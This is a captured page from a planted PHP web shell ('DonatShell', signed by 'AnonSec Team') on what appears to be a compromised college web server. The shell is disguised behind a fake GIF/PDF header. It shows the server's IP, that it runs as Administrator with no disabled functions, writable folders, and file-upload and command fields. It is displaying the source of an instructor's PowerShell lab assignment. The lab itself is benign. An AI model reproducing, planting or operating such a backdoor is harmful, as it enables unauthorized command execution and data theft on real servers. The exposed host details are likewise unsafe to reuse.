GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1861/Labs/Labx05x/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1861/Labs/Labx05x/Lab03.phpinc
<?
// JimMartinson/CST1861/Labs/Lab03/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
require('application.phpinc');

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
The purpose of this lab is to demonstrate your use of the Powershell commands.
<br><span class="note">I used some of the following filter and output commands to answer the questions: Export-CSV, Format-List, Format-Table, Select, Sort, Sort-Object, and Where.</span>
<br><?=$gradeNote?>
<ol class="count">
  <li>
    Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab.
  </li>
	<li>
		Create a text document called <b><?=$saveFilename?>.txt</b> in your <b><?=$evaluationName?></b> directory.
	</li>
	<li>Answer the following 10 questions in the file:
		<br><span class="note">Include the question number before each answer.</span>
		<ol type="1">
    	<li>What is the command to get the first ten processes by cpu usage decending? <a href="#" id="a_Show_1" onClick="return exampleShow(this);">(See example output)</a>
				<div class="hidden" id="div_1"><a href="#" id="a_Hide_1" onClick="return exampleHide(this);">(Hide example output)</a><br>
					<img src="1.png" width="1607" height="919" alt="Question 1 example output"/>
				</div>
			</li>
			<li>What is the command to get the first ten processes by memory usage decending? <a href="#" id="a_Show_2" onClick="return exampleShow(this);">(See example output)</a>
				<div class="hidden" id="div_2"><a href="#" id="a_Hide_2" onClick="return exampleHide(this);">(Hide example output)</a><br>
					<img src="2.png" width="1607" height="919" alt="Question 2 example output"/>
				</div>
			</li>
			<li>What is the command to make a new alias named <b>gh</b> that runs the Get-Help command? (Try gh Get-Help to make sure it works) <a href="#" id="a_Show_3" onClick="return exampleShow(this);">(See example output)</a>
				<div class="hidden" id="div_3"><a href="#" id="a_Hide_3" onClick="return exampleHide(this);">(Hide example output)</a><br>
					<img src="3.png" width="1607" height="919" alt="Question 3 example output"/>
				</div>
			</li>
			<li>What is the command to display a list of all disabled Windows Firewall rules? <a href="#" id="a_Show_4" onClick="return exampleShow(this);">(See example output)</a>
				<div class="hidden" id="div_4"><a href="#" id="a_Hide_4" onClick="return exampleHide(this);">(Hide example output)</a><br>
					<img src="4.png" width="1607" height="919" alt="Question 4 example output"/>
				</div>
			</li>
			<li>What is the command to get a list of running services into a .csv file called <b>RunningServices.csv</b> deliminated by the pipe [|] character? <a href="#" id="a_Show_5" onClick="return exampleShow(this);">(See example output)</a>
				<div class="hidden" id="div_5"><a href="#" id="a_Hide_5" onClick="return exampleHide(this);">(Hide example output)</a><br>
					<pre><? require('RunningServices.txt'); ?></pre>
				</div>
			</li>
			<li>What is the command that will produce a random number? <a href="#" id="a_Show_6" onClick="return exampleShow(this);">(See example output)</a>
				<div class="hidden" id="div_6"><a href="#" id="a_Hide_6" onClick="return exampleHide(this);">(Hide example output)</a><br>
					<img src="6.png" width="1607" height="919" alt="Question 6 example output"/>
				</div>
			</li>
			<li>What is the command to display information about installed hotfixes sorted by installation date decending and displayed in list format? <a href="#" id="a_Show_7" onClick="return exampleShow(this);">(See example output)</a>
				<div class="hidden" id="div_7"><a href="#" id="a_Hide_7" onClick="return exampleHide(this);">(Hide example output)</a><br>
					<img src="7.png" width="1607" height="919" alt="Question 7 example output"/>
				</div>
			</li>
			<li>What is the command to display a list of available event logs? <a href="#" id="a_Show_8" onClick="return exampleShow(this);">(See example output)</a>
				<div class="hidden" id="div_8"><a href="#" id="a_Hide_8" onClick="return exampleHide(this);">(Hide example output)</a><br>
					<img src="8.png" width="1607" height="919" alt="Question 8 example output"/>
				</div>
			</li>
			<li>What is the command to display a list of the 25 newest entries from the Application event log? <a href="#" id="a_Show_9" onClick="return exampleShow(this);">(See example output)</a>
				<div class="hidden" id="div_9"><a href="#" id="a_Hide_9" onClick="return exampleHide(this);">(Hide example output)</a><br>
					<img src="9.png" width="1607" height="919" alt="Question 9 example output"/>
				</div>
			</li>
			<li>What is the command to display a table of the first 25 processes that includes the process names, IDs, virtual memory usage, and physical memory usage? Express the virtual and physical memory usage values in megabytes (MB). Have the table take up as little horizontal room as possible. <a href="#" id="a_Show_10" onClick="return exampleShow(this);">(See example output)</a>
				<div class="hidden" id="div_10"><a href="#" id="a_Hide_10" onClick="return exampleHide(this);">(Hide example output)</a><br>
					<img src="10.png" width="1607" height="919" alt="Question 10 example output"/>
				</div>
			</li>
    </ol>
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"> for grading.</li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team